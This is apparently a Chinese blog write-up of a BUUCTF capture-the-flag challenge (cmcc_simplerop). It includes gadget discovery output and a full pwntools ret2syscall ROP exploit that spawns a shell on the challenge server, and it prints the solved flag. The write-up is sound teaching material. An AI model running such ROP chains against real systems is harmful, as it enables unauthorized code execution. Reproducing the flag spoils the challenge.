当前位置: 首页 > backend >正文

ROP链-BUUCTF-cmcc_simplerop(ret2syscall)

32 位程序,开启 NX 保护 

ida 反编译看 main 函数,很明显存在溢出

先测一下偏移吧

cyclic -l 0x61616169

拿到:

offset = 32

看这样子这道题还是要打 ret2syscall

 按照常规思路找一下我们需要的 gadgets 的地址:

# ROPgadget --binary simplerop  --only "pop|ret" | grep "ebx"|grep "ecx"|grep "edx"
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret# ROPgadget --binary simplerop  --only "pop|ret" | grep "pop eax"
0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bae06 : pop eax ; ret
0x08071e3a : pop eax ; ret 0x80e
0x0809da89 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret# ROPgadget --binary simplerop  --string "/bin/sh"
Strings information
============================================================# ROPgadget --binary simplerop  --only "int" | grep "0x80"
0x080493e1 : int 0x80

情况都差不多,还是没有 /bin/sh 字符串  

先记录已有的地址:

pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1

但是这里还有一个问题,程序没有类似于 pop [ecx] 这样的指令

我们怎么写入 /bin/sh 呢?

我们先找可以写入的段的地址:

随便用一个都可以:

bss_addr = 0x80eb000

然后,我们需要利用 read 函数,这里它自带了 read 函数,如果程序没有自带 read 函数,我们还可以通过系统调用 read,参考我前面的文章:

PWN基础-ROP技术-ret2syscall突破NX保护-CSDN博客https://myon6.blog.csdn.net/article/details/147772723?spm=1001.2014.3001.5502利用思路类似,建议先看完我上面的这篇博客,我这里不再过多叙述。

read 函数地址:

read_addr = 0x0806CD50

当然这个地址我们也可以通过符号表来找,因为这里的程序是静态链接的 ELF 文件,所有不能通过 plt 或者 got 表,因为压根就不存在。

直接写 exp:

溢出后先返回到 read 函数的地址

但是 read 函数执行后,它的三个参数还在栈顶上

我们需要连续三次 pop 弹出栈顶的内容

这样后面才能正常的 ret2syscall 传参,从而系统调用 execve

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./simplerop')
io = remote('node5.buuoj.cn',27761)
offset = 32
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1
bss_addr = 0x80eb000
read_addr = 0x0806CD50
payload = cyclic(offset)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x20)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有任何问题 

拿到 flag:flag{05014413-8009-471b-bf45-6df3337afd49}

http://www.xdnf.cn/news/4870.html

相关文章:

  • 【JS逆向基础】面向对象
  • Spring AI 集成 DeepSeek V3 模型开发指南
  • Dify工作流接收API请求带文件(有小坑)
  • Android开发补充内容
  • python作业5
  • 基于大数据分析的Facebook隐私保护策略
  • 沃伦森电容器支路阻抗特性监控系统 电容器组智能健康管理专家
  • 【Linux】module list的用法
  • 大模型原理初步了解
  • 软件工程之形式化说明技术深度解析
  • Vulfocus靶场-文件上传-1
  • 通义灵码编码插件支持MCP
  • 从0到1构建前端监控系统:错误捕获、性能采集、用户体验全链路追踪实战指南SDK实现
  • Vue.js Watch 侦听器:深入理解与应用
  • 键盘弹起导致页面上移
  • C语言—指针2
  • git命令积累(个人学习)
  • 3.2.3 掌握RDD转换算子 - 2. 过滤算子 - filter()
  • HTTP学习
  • 机器学习实操 第二部分 神经网路和深度学习 第17章 编码器、生成对抗网络和扩散模型
  • 数据结构(二)——线性表的链式表示和实现
  • Linux网络编程day7 线程池and UDP
  • PostgreSQL安装与升级cron插件
  • 如何使用极狐GitLab 软件包仓库功能托管 terraform?
  • MATLAB 在医疗行业的应用
  • ImGui 基础用法
  • 第5章 深度学习和卷积神经网络
  • 飞算 用到妙处 AI辅助编程 - 双击方法名,自动识别到上下文中很方便
  • macOS Python 环境配置指南
  • Java死锁问题全解析:从原理到实战解决方案